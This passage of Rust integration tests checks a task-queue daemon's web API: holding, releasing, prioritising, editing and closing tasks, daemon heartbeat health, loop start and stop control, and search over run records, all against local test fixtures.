10103 seat: "judge-1".to_owned(),
10104 node: "judge".to_owned(),
10105 at: Timestamp::now(),
10106 reset: None,
10107 });
10108 });
10109 assert!(v.outcome.contains("may or may not"), "{}", v.outcome);
10110 assert!(v.outcome.contains("unknown"), "{}", v.outcome);
10111 assert_eq!(v.attempt, AttemptCost::Unknown);
10112 }
10113
10114 #[test]
10115 fn the_current_pass_states_its_recorded_cause_and_cost() {
10116 let slot = || RunSlot {
10117 n: 1,
10118 resumed: false,
10119 resumed_later: None,
10120 prior: None,
10121 last: true,
10122 };
10123 let task = flow_task(&["20260902-140501-aaaa"]);
10124 let parked = flow_run(RunStatus::Implementing, |s| s.parked = true);
10125 let v = task_run_view("20260902-140501-aaaa", Some(&parked), slot(), &task);
10126 assert_eq!(
10127 (v.exit, v.attempt),
10128 (RunExit::Parked, AttemptCost::Refunded)
10129 );
10130 let spent = flow_run(RunStatus::Blocked, |_| {});
10131 let v = task_run_view("20260902-140501-aaaa", Some(&spent), slot(), &task);
10132 assert_eq!(v.attempt, AttemptCost::Spent);
10133 assert!(v.outcome.contains("spent an attempt"), "{}", v.outcome);
10134 }
10135
10136 #[tokio::test]
10137 async fn holding_then_releasing_returns_a_task_to_the_loop_with_a_fresh_budget() {
10138 let f = Fixture::start().await;
10139 let queue = f.queue();
10140 let mut task = Task::new(
10141 "spent".to_owned(),
10142 "Try again".to_owned(),
10143 PathBuf::from("/repo/magi"),
10144 Source::Human,
10145 );
10146 task.start("20260902-140502-bbbb".to_owned());
10147 task.fail("agent gave up", 9);
10148 queue.put(&mut task).expect("file the task");
10149
10150 let held = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
10151 assert_eq!(held.status, 200);
10152 assert_eq!(held.json()["status_str"], "held");
10153
10154 let released = f
10155 .post(&format!("/api/queue/{}/release", task.id), None)
10156 .await;
10157 assert_eq!(released.status, 200);
10158 assert_eq!(released.json()["status_str"], "queued");
10159 assert_eq!(
10160 released.json()["attempts"],
10161 0,
10162 "release is a real second chance, not an instant re-hold"
10163 );
10164 assert_eq!(
10165 queue.get(&task.id).expect("reload").status,
10166 TaskStatus::Queued,
10167 "the change is on disk, not only in the reply"
10168 );
10169 assert!(
10170 !f.home
10171 .path()
10172 .join("queue")
10173 .join(format!("{}.lock", task.id))
10174 .exists(),
10175 "the claim the mutation took is released again"
10176 );
10177 }
10178
10179 #[tokio::test]
10180 async fn a_task_a_daemon_is_running_cannot_be_changed_from_the_phone() {
10181 let f = Fixture::start().await;
10182 let queue = f.queue();
10183 let mut task = Task::new(
10184 "busy".to_owned(),
10185 "Running right now".to_owned(),
10186 PathBuf::from("/repo/magi"),
10187 Source::Human,
10188 );
10189 queue.put(&mut task).expect("file the task");
10190 let _claim = queue.claim(&task.id).expect("stand in for the daemon");
10191
10192 let res = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
10193
10194 assert_eq!(res.status, 409);
10195 assert_eq!(
10196 queue.get(&task.id).expect("reload").status,
10197 TaskStatus::Queued,
10198 "the refused hold changed nothing"
10199 );
10200 }
10201
10202 #[tokio::test]
10203 async fn holding_with_a_reason_reads_back_from_show_and_the_card_and_release_clears_it() {
10204 let f = Fixture::start().await;
10205 let queue = f.queue();
10206 let mut task = Task::new(
10207 "waiting on the migration".to_owned(),
10208 "Do the thing".to_owned(),
10209 PathBuf::from("/repo/magi"),
10210 Source::Human,
10211 );
10212 queue.put(&mut task).expect("file the task");
10213
10214 let held = f
10215 .post(
10216 &format!("/api/queue/{}/hold", task.id),
10217 Some(r#"{"reason":"waiting for 20260101-000000-aaaa to land"}"#),
10218 )
10219 .await;
10220 assert_eq!(held.status, 200, "{}", held.body);
10221 assert_eq!(held.json()["status_str"], "held");
10222 assert_eq!(
10223 held.json()["hold_reason"],
10224 "waiting for 20260101-000000-aaaa to land"
10225 );
10226
10227 let listed = f.get("/api/queue").await.json();
10228 assert_eq!(
10229 listed[0]["hold_reason"], "waiting for 20260101-000000-aaaa to land",
10230 "the card reads the reason off the same list route"
10231 );
10232
10233 let mut plain = Task::new(
10236 "no reason given".to_owned(),
10237 "Do another thing".to_owned(),
10238 PathBuf::from("/repo/magi"),
10239 Source::Human,
10240 );
10241 queue.put(&mut plain).expect("file the task");
10242 let held_plain = f.post(&format!("/api/queue/{}/hold", plain.id), None).await;
10243 assert_eq!(held_plain.status, 200, "{}", held_plain.body);
10244 assert!(held_plain.json()["hold_reason"].is_null());
10245
10246 let released = f
10247 .post(&format!("/api/queue/{}/release", task.id), None)
10248 .await;
10249 assert_eq!(released.status, 200);
10250 assert!(
10251 released.json()["hold_reason"].is_null(),
10252 "a release must clear the reason so the next hold does not inherit it"
10253 );
10254 }
10255
10256 #[tokio::test]
10257 async fn priority_can_be_raised_from_the_phone_and_moves_the_task_ahead() {
10258 let f = Fixture::start().await;
10259 let queue = f.queue();
10260 let mut older = Task::new(
10261 "filed first".to_owned(),
10262 "x".to_owned(),
10263 PathBuf::from("/repo/magi"),
10264 Source::Human,
10265 );
10266 older.id = "20260101-000001-aaaa".to_owned();
10267 let mut newer = Task::new(
10268 "filed second".to_owned(),
10269 "x".to_owned(),
10270 PathBuf::from("/repo/magi"),
10271 Source::Human,
10272 );
10273 newer.id = "20260101-000002-bbbb".to_owned();
10274 queue.put(&mut older).expect("file older");
10275 queue.put(&mut newer).expect("file newer");
10276
10277 let before = f.get("/api/queue").await.json();
10280 assert_eq!(before[0]["id"], newer.id);
10281 assert_eq!(before[1]["id"], older.id);
10282
10283 let raised = f
10287 .post(
10288 &format!("/api/queue/{}/priority", older.id),
10289 Some(r#"{"priority":10}"#),
10290 )
10291 .await;
10292 assert_eq!(raised.status, 200, "{}", raised.body);
10293 assert_eq!(raised.json()["priority"], 10);
10294
10295 let after = f.get("/api/queue").await.json();
10296 let names: Vec<&str> = after
10297 .as_array()
10298 .unwrap()
10299 .iter()
10300 .map(|t| t["id"].as_str().unwrap())
10301 .collect();
10302 assert_eq!(names[0], older.id, "the raised task now sorts first");
10306 }
10307
10308 #[tokio::test]
10309 async fn priority_is_refused_on_a_running_task_with_a_reason_in_the_body() {
10310 let f = Fixture::start().await;
10311 let queue = f.queue();
10312 let mut task = Task::new(
10313 "in flight".to_owned(),
10314 "x".to_owned(),
10315 PathBuf::from("/repo/magi"),
10316 Source::Human,
10317 );
10318 task.start("20260902-140502-bbbb".to_owned());
10319 queue.put(&mut task).expect("file the task");
10320
10321 let res = f
10322 .post(
10323 &format!("/api/queue/{}/priority", task.id),
10324 Some(r#"{"priority":9}"#),
10325 )
10326 .await;
10327 assert_eq!(res.status, 400, "{}", res.body);
10328 assert!(
10329 res.json()["error"]
10330 .as_str()
10331 .is_some_and(|e| e.contains("running")),
10332 "{}",
10333 res.body
10334 );
10335 assert_eq!(
10336 queue.get(&task.id).expect("reload").priority,
10337 0,
10338 "the refused write must not partially apply"
10339 );
10340 }
10341
10342 #[tokio::test]
10343 async fn editing_replaces_title_and_instruction_and_keeps_id_created_at_source_and_runs() {
10344 let f = Fixture::start().await;
10345 let queue = f.queue();
10346 let mut task = Task::new(
10347 "old title".to_owned(),
10348 "old instruction".to_owned(),
10349 PathBuf::from("/repo/magi"),
10350 Source::Agent {
10351 run: "20260101-000000-beef".to_owned(),
10352 node: "implement".to_owned(),
10353 },
10354 );
10355 task.runs.push("20260101-000000-beef".to_owned());
10356 queue.put(&mut task).expect("file the task");
10357 let created_at = task.created_at;
10358
10359 let edited = f
10360 .post(
10361 &format!("/api/queue/{}/edit", task.id),
10362 Some(r#"{"title":"new title","instruction":"new instruction"}"#),
10363 )
10364 .await;
10365 assert_eq!(edited.status, 200, "{}", edited.body);
10366 let body = edited.json();
10367 assert_eq!(body["title"], "new title");
10368 assert_eq!(body["instruction"], "new instruction");
10369 assert_eq!(body["id"], task.id, "editing must not mint a new id");
10370 assert_eq!(body["created_at"], created_at.to_string());
10371 assert_eq!(
10372 body["source"]["kind"], "agent",
10373 "editing a task an agent filed must not turn it human: {body}"
10374 );
10375 assert_eq!(body["runs"], serde_json::json!(["20260101-000000-beef"]));
10376
10377 let reloaded = queue.get(&task.id).expect("reload");
10378 assert_eq!(reloaded.title, "new title");
10379 assert_eq!(reloaded.instruction, "new instruction");
10380 }
10381
10382 #[tokio::test]
10383 async fn editing_in_a_duplicate_is_a_409_naming_the_match_until_forced() {
10384 let tmp = TempDir::new().expect("tempdir");
10387 let repo = tmp.path().join("repo");
10388 std::fs::create_dir_all(&repo).expect("repo dir");
10389 let judge = MOCK_AGENT_TOML.replace(
10390 "printf ok",
10391 r#"printf '{\"duplicate\":true,\"reason\":\"same branch\"}'"#,
10392 );
10393 std::fs::write(repo.join("magi.toml"), judge).expect("write magi.toml");
10394 let f = Fixture::with_repo(repo.clone()).await;
10395 let queue = f.queue();
10396 let mut owner = Task::new(
10397 "owner".to_owned(),
10398 "review it".to_owned(),
10399 repo.clone(),
10400 Source::Human,
10401 );
10402 owner.review_branch = Some("magi/ab12/A".to_owned());
10403 queue.put(&mut owner).expect("file the owner");
10404 let mut task = Task::new(
10405 "draft".to_owned(),
10406 "old".to_owned(),
10407 repo.clone(),
10408 Source::Human,
10409 );
10410 queue.put(&mut task).expect("file the draft");
10411 let url = format!("/api/queue/{}/edit", task.id);
10412
10413 let refused = f
10414 .post(
10415 &url,
10416 Some(r#"{"title":"t","instruction":"land magi/ab12/A"}"#),
10417 )
10418 .await;
10419 assert_eq!(refused.status, 409, "{}", refused.body);
10420 let msg = refused.json()["error"]
10421 .as_str()
10422 .unwrap_or_default()
10423 .to_owned();
10424 assert!(
10425 msg.contains("magi/ab12/A") && msg.contains("force"),
10426 "{msg}"
10427 );
10428 assert_eq!(queue.get(&task.id).expect("reload").instruction, "old");
10429
10430 let forced = f
10431 .post(
10432 &url,
10433 Some(r#"{"title":"t","instruction":"land magi/ab12/A","force":true}"#),
10434 )
10435 .await;
10436 assert_eq!(forced.status, 200, "{}", forced.body);
10437 }
10438
10439 #[tokio::test]
10440 async fn editing_a_running_task_is_refused_with_a_reason_in_the_response() {
10441 let f = Fixture::start().await;
10442 let queue = f.queue();
10443 let mut task = Task::new(
10444 "in flight".to_owned(),
10445 "do not touch".to_owned(),
10446 PathBuf::from("/repo/magi"),
10447 Source::Human,
10448 );
10449 task.start("20260902-140502-bbbb".to_owned());
10450 queue.put(&mut task).expect("file the task");
10451
10452 let res = f
10453 .post(
10454 &format!("/api/queue/{}/edit", task.id),
10455 Some(r#"{"title":"x","instruction":"y"}"#),
10456 )
10457 .await;
10458 assert_eq!(res.status, 400, "{}", res.body);
10459 assert!(
10460 res.json()["error"]
10461 .as_str()
10462 .is_some_and(|e| e.contains("running")),
10463 "{}",
10464 res.body
10465 );
10466 assert_eq!(
10467 queue.get(&task.id).expect("reload").instruction,
10468 "do not touch",
10469 "the refused edit must not change the file"
10470 );
10471 }
10472
10473 #[tokio::test]
10474 async fn a_claimed_task_refuses_priority_and_edit_the_same_way_it_refuses_hold() {
10475 let f = Fixture::start().await;
10476 let queue = f.queue();
10477 let mut task = Task::new(
10478 "busy".to_owned(),
10479 "Running right now".to_owned(),
10480 PathBuf::from("/repo/magi"),
10481 Source::Human,
10482 );
10483 queue.put(&mut task).expect("file the task");
10484 let _claim = queue.claim(&task.id).expect("stand in for the daemon");
10485
10486 let priority = f
10487 .post(
10488 &format!("/api/queue/{}/priority", task.id),
10489 Some(r#"{"priority":9}"#),
10490 )
10491 .await;
10492 assert_eq!(priority.status, 409, "{}", priority.body);
10493
10494 let edit = f
10495 .post(
10496 &format!("/api/queue/{}/edit", task.id),
10497 Some(r#"{"title":"x","instruction":"y"}"#),
10498 )
10499 .await;
10500 assert_eq!(edit.status, 409, "{}", edit.body);
10501 }
10502
10503 #[tokio::test]
10504 async fn done_from_the_phone_keeps_runs_source_and_created_at_unlike_delete() {
10505 let f = Fixture::start().await;
10506 let queue = f.queue();
10507 let mut task = Task::new(
10508 "shipped by hand".to_owned(),
10509 "merged outside the loop".to_owned(),
10510 PathBuf::from("/repo/magi"),
10511 Source::Agent {
10512 run: "20260101-000000-b455".to_owned(),
10513 node: "implement".to_owned(),
10514 },
10515 );
10516 task.runs.push("20260101-000000-b455".to_owned());
10517 task.runs.push("20260101-000000-9af4".to_owned());
10518 queue.put(&mut task).expect("file the task");
10519 let created_at = task.created_at;
10520
10521 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
10522 assert_eq!(done.status, 200, "{}", done.body);
10523 assert_eq!(done.json()["status_str"], "done");
10524
10525 let reloaded = queue.get(&task.id).expect("a done task is still on disk");
10526 assert_eq!(
10527 reloaded.runs,
10528 ["20260101-000000-b455", "20260101-000000-9af4"]
10529 );
10530 assert_eq!(
10531 reloaded.source,
10532 Source::Agent {
10533 run: "20260101-000000-b455".to_owned(),
10534 node: "implement".to_owned(),
10535 }
10536 );
10537 assert_eq!(reloaded.created_at, created_at);
10538 }
10539
10540 #[tokio::test]
10541 async fn closing_a_held_task_as_done_from_the_phone_clears_its_hold_reason() {
10542 let f = Fixture::start().await;
10547 let queue = f.queue();
10548 let mut task = Task::new(
10549 "landed while held".to_owned(),
10550 "x".to_owned(),
10551 PathBuf::from("/repo/magi"),
10552 Source::Human,
10553 );
10554 task.hold_manual(Some("waiting on 3ed9".to_owned()));
10555 queue.put(&mut task).expect("file the held task");
10556
10557 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
10558 assert_eq!(done.status, 200, "{}", done.body);
10559 assert_eq!(done.json()["status_str"], "done");
10560 assert!(
10561 done.json()["hold_reason"].is_null(),
10562 "a done task cannot still be waiting on something: {}",
10563 done.body
10564 );
10565 }
10566
10567 #[tokio::test]
10568 async fn done_from_the_phone_supersedes_an_earlier_blocked_attempt() {
10569 let f = Fixture::start().await;
10574 let queue = f.queue();
10575 let runs = f.runs();
10576 write_run(&runs, "20260101-000000-doa1", RunStatus::Blocked);
10577 write_run(&runs, "20260101-000000-doa2", RunStatus::Merged);
10581
10582 let mut task = Task::new(
10583 "landed by hand".to_owned(),
10584 "x".to_owned(),
10585 PathBuf::from("/repo/magi"),
10586 Source::Human,
10587 );
10588 task.runs.push("20260101-000000-doa1".to_owned());
10589 task.runs.push("20260101-000000-doa2".to_owned());
10590 queue.put(&mut task).expect("file the task");
10591
10592 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
10593 assert_eq!(done.status, 200, "{}", done.body);
10594
10595 let reloaded_run = read_run(&runs, "20260101-000000-doa1")
10596 .expect("run still on disk under this fixture's own home");
10597 assert_eq!(
10598 reloaded_run.status,
10599 RunStatus::Superseded,
10600 "closing the task by hand must relabel the earlier blocked attempt exactly \
10601 like the loop's own settle path does"
10602 );
10603 }
10604
10605 #[tokio::test]
10606 async fn done_from_the_phone_does_not_supersede_when_the_last_attempt_never_landed() {
10607 let f = Fixture::start().await;
10612 let queue = f.queue();
10613 let runs = f.runs();
10614 write_run(&runs, "20260101-000000-dob1", RunStatus::Blocked);
10615 write_run(&runs, "20260101-000000-dob2", RunStatus::Failed);
10616
10617 let mut task = Task::new(
10618 "closed with nothing actually landed".to_owned(),
10619 "x".to_owned(),
10620 PathBuf::from("/repo/magi"),
10621 Source::Human,
10622 );
10623 task.runs.push("20260101-000000-dob1".to_owned());
10624 task.runs.push("20260101-000000-dob2".to_owned());
10625 queue.put(&mut task).expect("file the task");
10626
10627 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
10628 assert_eq!(done.status, 200, "{}", done.body);
10629
10630 let reloaded_run = read_run(&runs, "20260101-000000-dob1")
10631 .expect("run still on disk under this fixture's own home");
10632 assert_eq!(
10633 reloaded_run.status,
10634 RunStatus::Blocked,
10635 "the last recorded attempt never landed, so the earlier one must not be \
10636 relabelled as superseded by it"
10637 );
10638 }
10639
10640 #[tokio::test]
10641 async fn unknown_ids_are_json_not_found_on_both_stores() {
10642 let f = Fixture::start().await;
10643
10644 let run = f.get("/api/runs/nosuchrun").await;
10645 let task = f.post("/api/queue/nosuchtask/hold", None).await;
10646
10647 assert_eq!(run.status, 404);
10648 assert_eq!(task.status, 404);
10649 assert!(
10650 run.json()["error"]
10651 .as_str()
10652 .is_some_and(|e| e.contains("run")),
10653 "the error names what was not found: {}",
10654 run.body
10655 );
10656 assert!(
10657 task.json()["error"]
10658 .as_str()
10659 .is_some_and(|e| e.contains("task")),
10660 "the error names what was not found: {}",
10661 task.body
10662 );
10663 }
10664
10665 #[tokio::test]
10666 async fn the_daemon_counts_as_running_only_while_its_heartbeat_is_fresh() {
10667 let f = Fixture::start().await;
10668
10669 let missing = f.get("/api/health").await.json();
10670 assert_eq!(missing["daemon"]["running"], false, "no file, no daemon");
10671
10672 write_daemon(
10673 f.home.path(),
10674 Timestamp::now() - jiff::SignedDuration::from_secs(60),
10675 );
10676 let stale = f.get("/api/health").await.json();
10677 assert_eq!(
10678 stale["daemon"]["running"], false,
10679 "a minute without a heartbeat is a dead daemon, not a busy one"
10680 );
10681 assert!(
10682 stale["daemon"]["stale_for_secs"]
10683 .as_i64()
10684 .is_some_and(|s| s >= 55),
10685 "staleness is reported so the UI can say how long: {stale}"
10686 );
10687
10688 write_daemon(f.home.path(), Timestamp::now());
10689 let fresh = f.get("/api/health").await.json();
10690 assert_eq!(fresh["daemon"]["running"], true);
10691 assert_eq!(fresh["daemon"]["idle"], false);
10692 assert_eq!(fresh["daemon"]["pid"], 4242);
10693 assert_eq!(fresh["daemon"]["completed"], 7);
10694 assert_eq!(
10695 fresh["daemon"]["current"][0]["task"],
10696 "20260902-140501-aaaa"
10697 );
10698 assert_eq!(fresh["version"], env!("CARGO_PKG_VERSION"));
10699 }
10700
10701 #[tokio::test]
10702 async fn the_loop_is_not_running_until_something_starts_it() {
10703 let f = Fixture::start().await;
10704
10705 let view = f.get("/api/loop").await.json();
10706 assert_eq!(view["running"], false);
10707 assert_eq!(
10708 view["owned"], false,
10709 "nobody owns a loop that does not exist: {view}"
10710 );
10711 assert_eq!(view["stopping"], false);
10712 assert_eq!(view["last_error"], Value::Null);
10713 assert_eq!(view["daemon"]["running"], false);
10714 assert_eq!(
10715 view["repo"], "/repo/magi",
10716 "the repository a start would use, named before it is started"
10717 );
10718 }
10719
10720 #[tokio::test]
10721 async fn starting_the_loop_runs_it_in_this_process_and_health_says_the_same() {
10722 let f = Fixture::start().await;
10723
10724 let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
10725 assert_eq!(res.status, 200, "{}", res.body);
10726 let view = res.json();
10727 assert_eq!(view["running"], true);
10728 assert_eq!(
10729 view["owned"], true,
10730 "the loop the UI started is the UI's own to stop: {view}"
10731 );
10732 assert_eq!(
10733 view["merge"],
10734 Value::Null,
10735 "no override was given, so each repository's own config decides"
10736 );
10737
10738 let health = f.get("/api/health").await.json();
10742 assert_eq!(health["loop"]["running"], true, "{health}");
10743 assert_eq!(health["loop"]["owned"], true, "{health}");
10744
10745 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
10746 }
10747
10748 #[tokio::test]
10749 async fn a_second_start_is_refused_rather_than_racing_the_first_for_claims() {
10750 let f = Fixture::start().await;
10751 let first = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
10752 assert_eq!(first.status, 200, "{}", first.body);
10753
10754 let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
10755 assert_eq!(
10756 again.status, 409,
10757 "two loops on one queue race for the same claims: {}",
10758 again.body
10759 );
10760 assert!(
10761 again.json()["error"]
10762 .as_str()
10763 .is_some_and(|e| e.contains("already running the loop")),
10764 "the refusal has to say why: {}",
10765 again.body
10766 );
10767 assert_eq!(
10768 f.get("/api/loop").await.json()["running"],
10769 true,
10770 "and the loop that was already running is untouched by it"
10771 );
10772
10773 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
10774 }
10775
10776 #[tokio::test]
10777 async fn stopping_answers_at_once_and_the_loop_settles_stopped() {
10778 let f = Fixture::start().await;
10779 f.post("/api/loop", Some(r#"{"running":true}"#)).await;
10780
10781 let res = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
10782 assert_eq!(
10783 res.status, 200,
10784 "the answer must not wait for the loop: a run in flight is tens of \
10785 minutes and the operator is holding a phone: {}",
10786 res.body
10787 );
10788
10789 let view = settled(&f, |v| v["running"] == false).await;
10790 assert_eq!(view["owned"], false);
10791 assert_eq!(
10792 view["stopping"], false,
10793 "a loop that has stopped is not still stopping: {view}"
10794 );
10795 assert_eq!(
10796 view["last_error"],
10797 Value::Null,
10798 "a loop that was asked to stop did not fail: {view}"
10799 );
10800
10801 let twice = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
10804 assert_eq!(twice.status, 200, "{}", twice.body);
10805 }
10806
10807 #[tokio::test]
10808 async fn a_loop_another_process_owns_can_be_neither_started_nor_stopped_here() {
10809 let f = Fixture::start().await;
10810 write_daemon(f.home.path(), Timestamp::now());
10813
10814 let view = f.get("/api/loop").await.json();
10815 assert_eq!(view["running"], false, "not in this process: {view}");
10816 assert_eq!(view["owned"], false, "and not this process's to control");
10817 assert_eq!(
10818 view["daemon"]["running"], true,
10819 "but a loop is alive somewhere, which is what the UI must say"
10820 );
10821 assert_eq!(view["daemon"]["pid"], 4242);
10822
10823 for body in [r#"{"running":true}"#, r#"{"running":false}"#] {
10824 let res = f.post("/api/loop", Some(body)).await;
10825 assert_eq!(
10826 res.status, 409,
10827 "neither button may pretend to work on someone else's loop: {}",
10828 res.body
10829 );
10830 assert!(
10831 res.json()["error"]
10832 .as_str()
10833 .is_some_and(|e| e.contains("4242")),
10834 "the refusal has to name the process the operator must go to: {}",
10835 res.body
10836 );
10837 }
10838 assert_eq!(
10839 f.get("/api/loop").await.json()["running"],
10840 false,
10841 "and the refusal started nothing"
10842 );
10843 }
10844
10845 #[tokio::test]
10846 async fn a_stale_status_file_is_not_a_foreign_owner() {
10847 let f = Fixture::start().await;
10848 write_daemon(
10849 f.home.path(),
10850 Timestamp::now() - jiff::SignedDuration::from_secs(60),
10851 );
10852
10853 let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
10854 assert_eq!(
10855 res.status, 200,
10856 "a daemon killed a minute ago must not lock the loop out of its \
10857 own home for good: {}",
10858 res.body
10859 );
10860 assert_eq!(res.json()["running"], true);
10861
10862 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
10863 }
10864
10865 #[tokio::test]
10866 async fn loop_rev_moves_on_a_start_so_a_phone_learns_without_polling() {
10867 let f = Fixture::start().await;
10868 let before = f.get("/api/health").await.json()["loop_rev"]
10869 .as_u64()
10870 .expect("a loop revision");
10871
10872 f.post("/api/loop", Some(r#"{"running":true}"#)).await;
10873
10874 let after = f.get("/api/health").await.json()["loop_rev"]
10875 .as_u64()
10876 .expect("a loop revision");
10877 assert!(
10878 after > before,
10879 "the loop is in-process state, so this counter is the only thing \
10880 that tells a second device the first one started it: {before} -> \
10881 {after}"
10882 );
10883
10884 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
10885 }
10886
10887 #[tokio::test]
10888 async fn a_loop_that_failed_says_why_and_does_not_read_as_running() {
10889 let f = Fixture::with_loop(launch_broken).await;
10890
10891 let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
10892 assert_eq!(
10893 res.status, 200,
10894 "starting it is not the failure: {}",
10895 res.body
10896 );
10897
10898 let view = settled(&f, |v| v["last_error"].is_string()).await;
10899 assert_eq!(
10900 view["running"], false,
10901 "a loop that died must not read as running, or the operator has \
10902 nothing to press: {view}"
10903 );
10904 assert_eq!(view["owned"], false);
10905 assert!(
10906 view["last_error"]
10907 .as_str()
10908 .is_some_and(|e| e.contains("read-only file system")),
10909 "the phone is where a loop that died at 3am is visible: {view}"
10910 );
10911
10912 let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
10915 assert_eq!(again.status, 200, "{}", again.body);
10916 assert!(
10917 again.json()["last_error"]
10918 .as_str()
10919 .is_none_or(|e| !e.contains("read-only file system")),
10920 "a fresh start does not keep showing why the last one died: {}",
10921 again.body
10922 );
10923 }
10924
10925 #[tokio::test(flavor = "multi_thread", worker_threads = 2)]
10937 async fn the_deck_answers_while_it_parks_and_frees_the_address_first() {
10938 let home = TempDir::new().expect("temp home");
10939 let runs = home.path().join("runs");
10940 std::fs::create_dir_all(&runs).expect("runs dir");
10941 let ui = Ui::new(
10942 Queue::at(home.path().join("queue")),
10943 Questions::at(home.path().join("questions")),
10944 Talks::at(home.path().join("talks")),
10945 runs,
10946 home.path().to_path_buf(),
10947 PathBuf::from("/repo/magi"),
10948 )
10949 .with_worktrees_root(home.path().join("wt"))
10950 .with_launch(launch_knocking_on_the_way_out);
10951 let looping = ui.looping();
10952 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
10953 .await
10954 .expect("bind loopback");
10955 let addr = listener.local_addr().expect("local addr");
10956 *PARK_KNOCK.lock().expect("park knock") = Some(addr);
10957 let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
10958
10959 let started = request(addr, "POST", "/api/loop", Some(r#"{"running":true}"#)).await;
10960 assert_eq!(started.status, 200, "the loop starts: {}", started.body);
10961
10962 let bound = std::sync::Mutex::new(None);
10977 hand_over(home.path(), &looping, served, |_| {
10978 let deadline = std::time::Instant::now() + std::time::Duration::from_secs(5);
10979 let attempt = loop {
10980 match std::net::TcpListener::bind(addr) {
10981 Ok(l) => {
10982 drop(l);
10983 break Ok(());
10984 }
10985 Err(e)
10986 if e.kind() == std::io::ErrorKind::AddrInUse
10987 && std::time::Instant::now() < deadline =>
10988 {
10989 std::thread::sleep(std::time::Duration::from_millis(10));
10990 }
10991 Err(e) => break Err(e.to_string()),
10992 }
10993 };
10994 *bound.lock().expect("bound") = Some(attempt);
10995 Ok(1)
10996 })
10997 .await
10998 .expect("hand over");
10999
11000 assert_eq!(
11001 *PARK_HEARD.lock().expect("park heard"),
11002 Some(200),
11003 "the deck must answer while the loop is parking"
11004 );
11005 let attempt = bound
11006 .lock()
11007 .expect("bound")
11008 .take()
11009 .expect("the successor was started");
11010 assert!(
11011 attempt.is_ok(),
11012 "and the address must be free by the time it is: {attempt:?}"
11013 );
11014 }
11015
11016 #[tokio::test]
11017 async fn a_newer_daemon_status_file_still_renders() {
11018 let f = Fixture::start().await;
11019 std::fs::write(
11022 f.home.path().join("daemon.json"),
11023 serde_json::json!({
11024 "schema": 2,
11025 "updated_at": Timestamp::now().to_string(),
11026 "idle": true,
11027 "surprise": { "nested": [1, 2, 3] },
11028 })
11029 .to_string(),
11030 )
11031 .expect("write daemon.json");
11032
11033 let health = f.get("/api/health").await;
11034
11035 assert_eq!(health.status, 200);
11036 assert_eq!(health.json()["daemon"]["running"], true);
11037 }
11038
11039 #[tokio::test]
11040 async fn a_corrupt_run_is_skipped_in_the_list_and_explained_on_its_own_route() {
11041 let f = Fixture::start().await;
11042 write_run(&f.runs(), "20260902-140501-good", RunStatus::Ready);
11043 let broken = f.runs().join("20260902-140502-bad");
11044 std::fs::create_dir_all(&broken).expect("run dir");
11045 std::fs::write(broken.join("run.json"), "{ truncated").expect("write run.json");
11046
11047 let list = f.get("/api/runs").await;
11048 let detail = f.get("/api/runs/20260902-140502-bad").await;
11049
11050 assert_eq!(list.status, 200);
11051 let listed = list.json();
11052 let ids: Vec<&str> = listed
11053 .as_array()
11054 .expect("an array")
11055 .iter()
11056 .map(|r| r["id"].as_str().expect("an id"))
11057 .collect();
11058 assert_eq!(
11059 ids,
11060 vec!["20260902-140501-good"],
11061 "one unreadable run must not cost the operator the whole history"
11062 );
11063 assert_eq!(detail.status, 500);
11064 assert!(
11065 detail.json()["error"]
11066 .as_str()
11067 .is_some_and(|e| e.contains("run.json")),
11068 "the failure names the file to look at: {}",
11069 detail.body
11070 );
11071 let health = f.get("/api/health").await;
11075 assert_eq!(health.json()["runs_unreadable"], 1);
11076 }
11077
11078 #[tokio::test]
11080 async fn search_finds_nested_run_text_ands_terms_and_counts_unreadable() {
11081 let f = Fixture::start().await;
11082 let runs = f.runs();
11083 write_run(&runs, "20260902-140501-aaaa", RunStatus::Merged);
11084 write_run(&runs, "20260902-140502-bbbb", RunStatus::Merged);
11085 let path = runs.join("20260902-140502-bbbb").join("run.json");
11088 let mut v: serde_json::Value =
11089 serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
11090 v["legacy"] = serde_json::json!({ "rounds": [{ "finding": { "text": "The Quokka leaks\nacross threads" } }] });
11091 std::fs::write(&path, v.to_string()).unwrap();
11092 std::fs::create_dir_all(runs.join("20260902-140503-cccc")).unwrap();
11093 std::fs::write(
11094 runs.join("20260902-140503-cccc").join("run.json"),
11095 "{ not json",
11096 )
11097 .unwrap();
11098
11099 let res = f.get("/api/search?scope=runs&q=quokka").await;
11100 assert_eq!(res.status, 200, "{}", res.body);
11101 let v = res.json();
11102 assert_eq!(v["total"], 1, "{v}");
11103 assert_eq!(v["hits"][0]["id"], "20260902-140502-bbbb");
11104 assert_eq!(v["hits"][0]["field"], "text");
11105 assert_eq!(v["unreadable"], 1, "an unparsable run is counted: {v}");
11106 let parts = v["hits"][0]["snippet"].as_array().unwrap();
11107 assert!(
11108 parts
11109 .iter()
11110 .any(|p| p["hit"] == true && p["text"] == "Quokka"),
11111 "{v}"
11112 );
11113 let flat: String = parts.iter().map(|p| p["text"].as_str().unwrap()).collect();
11114 assert_eq!(
11115 flat, "The Quokka leaks across threads",
11116 "whitespace is collapsed"
11117 );
11118
11119 let both = f
11121 .get("/api/search?scope=runs&q=MOBILE%20quokka")
11122 .await
11123 .json();
11124 assert_eq!(both["total"], 1, "{both}");
11125 let neither = f
11126 .get("/api/search?scope=runs&q=quokka%20zebra")
11127 .await
11128 .json();
11129 assert_eq!(neither["total"], 0, "{neither}");
11130 let stmt = f
11132 .get("/api/search?scope=runs&q=mobile%20first")
